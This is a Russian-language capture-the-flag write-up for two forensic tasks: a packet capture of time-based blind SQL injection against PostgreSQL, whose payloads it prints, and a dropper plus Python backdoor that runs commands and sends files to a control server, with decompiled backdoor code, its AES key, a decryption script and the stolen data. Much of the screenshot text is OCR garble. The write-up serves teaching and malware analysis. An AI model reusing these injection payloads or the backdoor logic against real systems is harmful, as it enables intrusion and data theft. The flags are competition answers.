


[bookmark: _GoBack]Решение заданий по направлению «Информационная и кибербезопасность», уровень магистратура/специалитет.

Раковский Станислав, ID 786278832.

Стоит упомянуть, что разбор данных задач был выложен на английском языке на моем блоге (скрыл статью с разбором, пока не закончится финал).
Ссылка на статью: https://rakovskij-stanislav.github.io/posts-ctf/2021-03-27-ya-profi-2021-master-semifinal/
Также был осуществлен разбор задач первого этапа магистерского уровня, тоже на сайте.

Рекомендуется читать разбор в режиме веб-документа (кнопка в правом нижнем углу, слева от ползунка масштаба).
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Задание 3 (16 баллов).

	Определить ключ, содержащийся в пересылаемом по протоколу http заархивированному файлу. Дамп трафика: https://disk.yandex.ru/d/cDl8SoWPI25SvA

Формат ответа: itmo{...}




[image: https://rakovskij-stanislav.github.io/ctf_writeups/ya_profi_2020_m_semifinal/media/img10.png]
Первое, что хочется отметить, - отсутствие мусорных пакетов. 
[image: ]
Всё общение ведется между двумя участниками.
Всего нам предложено 119 стримов с sql-инъекцией и 1 стрим с запросом на скачивание архива.
[image: ]
Изучим структуру запросов с инъекцией. Воспользуемся инструментом CyberChef, рецептом URL Decode.
	/?filter=user';select CASE WHEN (SELECT 'true' from cred where (data = crypt('oWF7b8TV8OL5',data)) and name = 'dbadm') ='true' THEN PG_SLEEP(3) ELSE PG_SLEEP(0) END;

/?filter=user';select CASE WHEN (SELECT 'true' from cred where (data = crypt('nFmLGZKTuT9t',data)) and name = 'dbadm') ='true' THEN PG_SLEEP(3) ELSE PG_SLEEP(0) END;



Посмотрев два запроса, становится видно, что используется классическая уязвимость с экранирующей одинарной кавычкой, и в самих запросах различается пароль. Происходит проверка. В случае успешного запроса ответ придет на три секунды позже. Давайте найдем такую аномалию в траффике. Для ускорения поиска используем фильтр по http-пакетам.
[image: https://rakovskij-stanislav.github.io/ctf_writeups/ya_profi_2020_m_semifinal/media/img13.png]
Мы нашли запрос с трехсекундным ожиданием. Пароль: RCTrddxU8GB8
Достанем архив, который находится в последнем пакете. Вариантов несколько: можно сохранить последний http-запрос в виде пакета байт и удалить начало вплоть до расширения архива, а можно воспользоваться экспортом объектов (File – Export Objects – HTTP)
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[image: https://rakovskij-stanislav.github.io/ctf_writeups/ya_profi_2020_m_semifinal/media/img11.png]

Извлекаем содержимое архива, используя полученный из PCAP пароль.
Флаг: itmo{b6669795b1084948819538b8174c410a}


Задание 5 (18 баллов).

	Средства антивирусной защиты зафиксировали заражение одного из компьютеров сети трояном. Система мониторинга записала трафик зараженного компьютера (https://disk.yandex.ru/d/JFjIjdnfmkCz-_w). Проанализируйте его и выясните, как вредоносное ПО попало на компьютер и какую информацию оно передало на свой управляющий сервер.

Рекомендуемое ПО: для решения этого задания Вам понадобится анализатор пакетов Wireshark, любой дизассемблер (например, Ida Pro), а также будет полезен Python 3.7

Формат флага: itmo{...}




Изучим предложенный PCAP.
Первое – проверяем Conversations. Видим, что PCAP весьма мусорный – 172 IPv4 сессии.
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Список DNS-запросов внушителен, и глаз цепляется за pastebin[.]com
[image: ]

Среди файлов в рамках HTTP видим и интересные названия файлов, и нестандартные порты 8000 и 5001. Приглядимся подробнее к общению с хостом 84.38.182[.]142.
[image: https://rakovskij-stanislav.github.io/ctf_writeups/ya_profi_2020_m_semifinal/media/img02.png]

Посмотрим запрос, связанный с первым файлом, dr.exe. Он был скачан с помощью браузера, и сервис, с которого скачали файл, представился SimpleHTTPServer 0.6, это один из модулей для Python, позволяющий быстро развернуть простой файловый сервер.
[image: ]
Предполагаем, что пользователь сам зашел на сайт и скачал файл. Возможно, в рамках фишинга.
Сам файл представляет собой проект в Visual C++, скомпилированный за 6-7 минут до того, как пользователь скачал файл. Это может быть следом Continuous Development, либо целевым фишингом. Также есть предположение, что нас дурят – заголовки клиента сформированы не браузером, а вредоносным ПО класса Downloader/Dropper (Загрузчик), который просто мимикрирует легитимный запрос с целью обхода систем, анализирующих траффик в инфраструктуре.
[image: https://rakovskij-stanislav.github.io/ctf_writeups/ya_profi_2020_m_semifinal/media/img03.png]
Сразу интересная строка: payload.py.enc
[image: https://rakovskij-stanislav.github.io/ctf_writeups/ya_profi_2020_m_semifinal/media/img04.png]
Заглянем в соседние строки:
[image: https://rakovskij-stanislav.github.io/ctf_writeups/ya_profi_2020_m_semifinal/media/img05.png]
Нашли захардкоженный адрес CnC, который совпадает со вторым запросом.

Представленный файл является вредоносным ПО класса Dropper/Downloader – его цель скачать и запустить нагрузку с управляющего центра, после чего избавиться от временных файлов. Тут есть первый изъян разработчика: программа не удаляет себя, хотя это было бы логично.
[image: https://rakovskij-stanislav.github.io/ctf_writeups/ya_profi_2020_m_semifinal/media/img06.png]

В программу статически слинкована библиотека libcurl, хотя это несколько излишне. Через эту библиотеку и происходит скачивание зашифрованной нагрузки.
Заодно находим второй изъян программы – она продолжает работать, даже если не смогла скачать нагрузку. Нормальным сценарием было бы удаление себя и завершение работы либо обеспечение закрепления в системе с периодическим опросом CnC на предмет наличия нагрузки.
Сама нагрузка расшифровывается с помощью алгоритма RC4 c ключом “Key\x00” (4 байта). Этого можно и не знать, стоит просто поставить точку останова на один из системных вызовов на скриншоте выше, так как вредонос сам расшифрует для нас файл payload.py.enc (под таким именем он curl-ом скачивает файл) и положит расшифрованный файл в payload.py. Наличие захардкоженного ключа для RC4 не является изъяном, это обычная практика в массовой малвари – захардкоженные ключи от XOR, RC4, TEA и так далее, но мы бы усложнили немножко магистрам жизнь, если б запрашивали ключ для расшифровки с CnC.
Также изъяном можно было бы посчитать обязательное наличие python на компьютере жертвы. Но это же соревнование, а не реальная малварь, поэтому можно считать это ограничительной мерой, чтобы участник случайно не запустил программу у себя на компьютере.

Сам пэйлоад взаимствует реализацию AES из публичного https://github.com/boppreh/aes/blob/master/aes.py, убрав режимы obf и ctr.

Скрипт можно классифицировать как Backdoor и Stealer – он имеет фунциональность:
· запуска произвольного кода (f_82f3);
· отправки файлов на CnC (f_a174);
· сохранения файлов на устройстве жертвы (f_7c3e);
· изменения периодичности опроса CnC на новые команды (f_b349).

Ниже – скрин с первым функционалом.
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Бэкдор имеет два этапа:
1. Разведка – он отправляет на управляющий центр содержание глобальных переменных COMPUTERNAME, USERDOMAIN, PROCESSOR_ARCHITECTURE, USERNAME. В качестве результата управляющий центр может отправить uid, назначенный данной копии ВПО. Этот uid бэкдор будет добавлять в каждый последующий запрос.
2. Отстук. Бэкдор спрашивает CnC на наличие команд, CnC может отправить \x00 или ссылку на pastebin, контент которой будет исполнен. На момент проведения контеста все ссылки уже были погашены. Этот этап как раз управляется четырьмя командами, описанными выше.
Структура команды с pastebin:
1. Первые два байта – количество исполняемых команд
2. Последующие байты – тело одной или нескольких команд. Тип команды идет по первым двум байтам блока. У команд есть идентификатор и параметры.

Второй этап ведет общение, накрытое AES ECB. Протокол не сложный: тело запроса состоит из вектора инициализации и зашифрованной нагрузки. Ключ для AES ECB зашит в скрипте: cfbb0862a99566223beb5c65cd35ce85264fe385870796958ee1d604d243127f
Напишем небольшой скрипт по расшифровке сообщений:
	from payload import * # comment out beacon init before running
from binascii import unhexlify as unhex

while True:
    dd = input()
    iv = dd[:32]; data = dd[32:]; a = AES(bytes.fromhex(key)).decrypt_cbc(unhex(data), unhex(iv));
    print(“>>>”)
    try:
        print(unhex(a))
        print(unhex(a).decode())
    except:
        print(a)
        print(a.decode())
    print(“<<<”)



Отфильтруем PCAP, чтобы получить только нужные пакеты (ip.addr == 84.38.182.142)
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Первые два стрима относятся к скачиванию загрузчика и зашифрованного бэкдора.

Третий пакет содержит информацию, которую жертва отправляет о себе.
Отправляем:
	DESKTOP-RNRS5K4\x00DESKTOP-RNRS5K4\x00AMD64\x00adm


Получаем:
	d660a9ee08f2b8db74f2f2c84e14679f4edf1a0fc315245e6ec1161f07dffe20


Этот наш uid.

Дальше я пропущу запросы, на которые CnC ответило нулём.

На отстук с клиента CnC отправило ссылку - https://pastebin[.]com/raw/YB1ttGcK
Результат, отправленный клиентом:
	000000SLEEP SET

0001 Volume in drive C has no label.
 Volume Serial Number is 3808-37B4

 Directory of C:\Users\adm\Downloads

01/15/2021  10:59 AM    <DIR>          .
01/15/2021  10:59 AM    <DIR>          ..
01/15/2021  04:45 AM           186,684 5cd48b964566910009be0289-eight.jpg
01/15/2021  10:59 AM           405,504 dr.exe
01/15/2021  04:45 AM         1,176,071 Helping-your-new-cat-or-kitten-settle-in-1.png
01/15/2021  04:24 AM         4,304,792 KeePass-2.47-Setup.exe
01/15/2021  10:59 AM            14,507 payload.py
01/15/2021  04:46 AM        28,204,528 python-3.9.1-amd64.exe
01/15/2021  04:46 AM            92,482 _115537288_hi000618024.jpg
               7 File(s)     34,384,568 bytes
               2 Dir(s)   7,511,887,872 bytes free

0002
\\DESKTOP-RNRS5K4

-------------------------------------------------------------------------------
adm                      Administrator            DefaultAccount
f.savage                 Guest                    WDAGUtilityAccount
The command completed successfully.



То есть были выполнены команды по обзору текущей директории (dir) и по итерации пользователей на компьютере (net user).

Следующая команда, которая была отправлена на исполнение: https://pastebin[.]com/raw/EJpXYJXb
Ответ от бэкдора – содержание пользовательской папки:
	0003 Volume in drive C has no label.
 Volume Serial Number is 3808-37B4

 Directory of C:\Users\f.savage

01/15/2021  04:36 AM    <DIR>          .
01/15/2021  04:36 AM    <DIR>          ..
01/15/2021  04:28 AM    <DIR>          3D Objects
01/15/2021  04:28 AM    <DIR>          Contacts
01/15/2021  04:36 AM    <DIR>          Desktop
01/15/2021  07:33 AM    <DIR>          Documents
01/15/2021  04:28 AM    <DIR>          Downloads
01/15/2021  04:28 AM    <DIR>          Favorites
01/15/2021  04:31 AM                24 keepas.txt
01/15/2021  04:28 AM    <DIR>          Links
01/15/2021  04:28 AM    <DIR>          Music
01/15/2021  04:30 AM    <DIR>          OneDrive
01/15/2021  04:29 AM    <DIR>          Pictures
01/15/2021  04:28 AM    <DIR>          Saved Games
01/15/2021  04:29 AM    <DIR>          Searches
01/15/2021  04:28 AM    <DIR>          Videos
               1 File(s)             24 bytes
              15 Dir(s)   7,509,471,232 bytes free



Примечательно наличие файла от хранилища ключей keepass, но почему-то с расширением txt, а не kdbx. Видимо, злоумышленнику тоже приглянулся файл, и он решил его забрать следующей командой: https://pastebin[.]com/raw/rytChjvF
Результат:
	000400C:\Users\f.savage\keepas.txt00,k&VTaJ3kY5F&#L,Nf_``C8>



Команда: https://pastebin[.]com/raw/Q44gYdX5
Ответ:
	0005 Volume in drive C has no label.
 Volume Serial Number is 3808-37B4

 Directory of C:\Users\f.savage\Documents

01/15/2021  07:33 AM    <DIR>          .
01/15/2021  07:33 AM    <DIR>          ..
01/15/2021  05:32 AM                26 flag.txt
               1 File(s)             26 bytes
               2 Dir(s)   7,504,375,808 bytes free



Злоумышленник решил проверить папку с документами.
Команда: https://pastebin[.]com/raw/NDmiyWft
Ответ:
	000600C:\Users\f.savage\Documents\flag.txt00itmo{4t3g3g3g343434g34g3g}



Последняя команда от сервера: https://pastebin[.]com/raw/eE0MqKUr
Ответ:
	000700SLEEP SET



Флаг: itmo{4t3g3g3g343434g34g3g}
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Export Packet Bytes..
Export PDUs to File...
Export LS Session Keys...
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Ctrl+s
Ctrl+Shift+S
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M Wireshark - Export - HTTP object list - o X

Packet Hostname  ContentType Size Filename ~
1430 172.17.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1444 17217.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1456 172.17.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1470 172.17.02:5000 text/htm 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1484 172.17.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1498 172.17.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1512 172.17.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1526 172.17.02:5000 text/htm 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1541 172.17.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1555 172.17.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1569 172.17.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1583 172.17.02:5000 text/htmi 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1597 172.17.02:5000 text/htm 18 bytes ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1611 172.17.02:5000 text/htmi 18 bytes ?filter=user’select%20CASE%20WHEN%20(SELECT%2(
1625 172.17.02:5000 text/htmi 18 bytes ?filter=user’select%20CASE%20WHEN%20(SELECT%2(
1639 172.17.02:5000 text/htmi 18 bytes  ?filter=user'select%20CASE%20WHEN%20(SELECT%2(
1651 172.17.02:5000 application/zip 225 bytes download v
< >
Text Filter:

e[ smem =
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M Wireshark - Conversations - task.pcap

Ethemet'3 | v4-172  Pve2  TcP32  UDP-433

AddressA AddressB  Packets Bytes PacketsA—B BytesA—B PacketsB—A BytesB—A RelStart Dumstion Bits/sA—B Bits/sB—A
5915476 101030254 0 955 2 7216 18 2329112811360 71,1782 a1
545205244 101030254 2 1k 2 8609 20 2684112174088 1452570 a7
5888 101030254 985 115k 0 6k 295 39Kk 1302211 317.2069 1035
10103023 239255255250 30 5730 0 5730 [ 0 9795821 2917461 157
10103023 101030255 1 1 e [ 0135690210 0.0000 —
10103033 22400251 187 1 87 0 0121355894 00000 —
101030254 77.88.21.119 81 312k 157 6k o 255K 0000000 268.7056 1685
101030254 81.10.7257 268 189k o 2k il 165k 0215503 203.7046 o7
101030254 8725025115 205 88k o7 78k 108 10k 1386322 2743410 215
10.1030.254 77.88.55.88 57 27k 189 9tk 2 136k 2398502 3198638 2m
101030254 64233165198 407 150k 14 31k 263 119k 3004485 3091723 807
101030254 64233162147 579 469k 137 e 2 420k 6463898 302259 1298
10.1030.254 7412520594 3Bk E 6885 P 26k 6659173 267.5918 205
10.1030.254 64233.161.94 2 a1 18 227 4 1992 7058078 171.0503 108
10.1030.254 108.177.14.196 0 w2 17 2568 3 1834 7261843 1708566 120
101030254 64233161113 139 44k o 10k & 33k 7495406 1716225 510

Name resolution [ Limit to display fiter [ Absolute start tme.
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M Wireshark - Resolved Addresses - D:\Samples\ CTF\ya-profi 2020\taskS\task.peap.

# Resolved addresses found in D:\Samples\CTF\ya-profi 2020\tasks\task.pcap

# Comments
#

# No entries.
# Hosts
#

# 578 entries.

165.119.9.59  exchange.buzzoola.com

64.233.161.113 encrypted-thne. gstatic.com

93.158.134.119  mc.yandex.ru

93.184.220.29  cs9.wac.phicdn.net

213.180.204.90 an.yandex.ru

104.23.99.19  pastebin.com

176.9.158.88  exchange.buzzoola.com

13.32.143.60  cdn-plus.roxot-panel.com

91.192.150.54  rcm.rambler.ru

87.240.137.158  vk.com

88.212.201.198 counter.yadro.ru

168.119.8.212  exchange.buzzoola. com

91.192.148.14  clicke2.ssp.rambler.ru

37.252.172.250 ib.anycast.adnxs. con

64.233.165.198  wide-youtube. . google. com

13.107.246.13  standard.t-0003.t-msedge.net
35.244.247.133 prod.data-ingestion.prod.dataops.mozgep.net
175.250.0.165  bidder.par.vip.prod.criteo.com
213.19.162.21 _ tagged-by.rubiconproject.net. akadns.net
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M Wireshark . Export - HTTP object list - o
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GET /dr.exe HTTP/1.1

Host: 34.33.182.142:3000

User-Agent: Mozilla/s.0 (Windows NT 10.0; Winbd; x64; rvi84.0) Gecko/20100101 Firefox/84.0
Accept: text/html, application/xhtmlnl, application/xml;q=0.9, inage/webp, */*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTP/1.0 200 OK

Server: SimpleHTTP/0.6 Python/3.8.5

Date: Fri, 15 Jan 2021 18:59:33 GHT
Content-type: application/x-msdos-program
Content-Length: 405504

Last-Modified: Fri, 15 Jan 2021 18:46:45 GMT
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I8 Detect It Easy v3.01 - o X
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src = 03

V3 = &dword_E51068;

V4 = dword_ES1078;

i ( (unsigned int)dword_ES107C >= ex1e )
V3 = (void **)dword_ES1068;

python_payload = "payload.py.enc”;

Strean = 0;

52 = ei6a;

V45 = dword ES1078;
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5 const char aCurlCurlEasyGe[]
acurlcurieasy@e db Curl curl_sasy_getinfo failed: ¥s',08,0

align 1¢h

5 const char apS[]

ans.

db '[%d]: %s',08h,0

align 4

DATA XREF: @@851AS52%o
_mains22210

DATA XREF: @@851A83To
_mains253t0

aHEtp§438182142 db "http://54.35.182.142:8000/pkg/beacon” 0

align 4

aHttps438182142 6 db 'http://84.38.182.14:

align 4

5 const char Mode[3]

Hode

db "wb',0 :

align 1eh

5 const char FileName[]

FileName

db "payload.py.enc’,0

align 1eh

5 const char Format[]

Format.

aAll

db "curl_easy_operation()

align 4
db "ALL",0 5

DATA XREF: 0@851002%0

} sub_DF1ee@+2t0

:8000/ pkg/beaconps ,0

; DATA XREF: oessle22to
} sub_DF1e20+2t0

DATA XREF: 008S17FEfo
write_filesEto

DATA XREF: 0085187Ffo
oe85I1DA4T ...

failed : %s',08h,0
DATA XREF: 0@8SAlATo
_mains1Eato

DATA XREF: 00851810%0
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I
Std::ios::setstate((char *)vSe + *(_DWORD *)(vse[e] + 4), 2);
) ExIT:
remove("payload.py.enc”)
systen("python payload.py”);
rerove("payload.py”);
*(int *)((char *)50 + *(_DWORD *)(v5e[@] + 4)) = (int)&std: :ofstream:: vFtable';
*(void **)((char *)&Src + *(_DWORD *)(v5e[@] + 4)) = (void *)(*(_DWORD *)(vse[e] + 4) - 104);
sub_DF2C60((char *)8v56[1]);
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def £ 82f3(data, command_id):
args — data.split('00')
p — subprocess.Popen ([bytes.fromhex (a) .decode () for a in args], stdout—subprocess.PIPE, stderr—subprocess.
STDOUT)
check_result — p.communicate () [0]
iv = os.urandom(16)
encrypted — AES (bytes.fromhex (key)) .encrypt_cbc (command_id.encode() + check_result, iv)

data — {get_random_string(10): iv.hex() + encrypted.hex()}
resp — make_request (£"http://{base64.b64decode (addr) .decode () }: {port1/636865636b", data—data, headers—{

uid})

nrpr
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Time. Source

2052 20.430361  10.10.30.254
2053 20.430633  10.10.30.254

2054 20.489170  34.33.182.142





image1.png




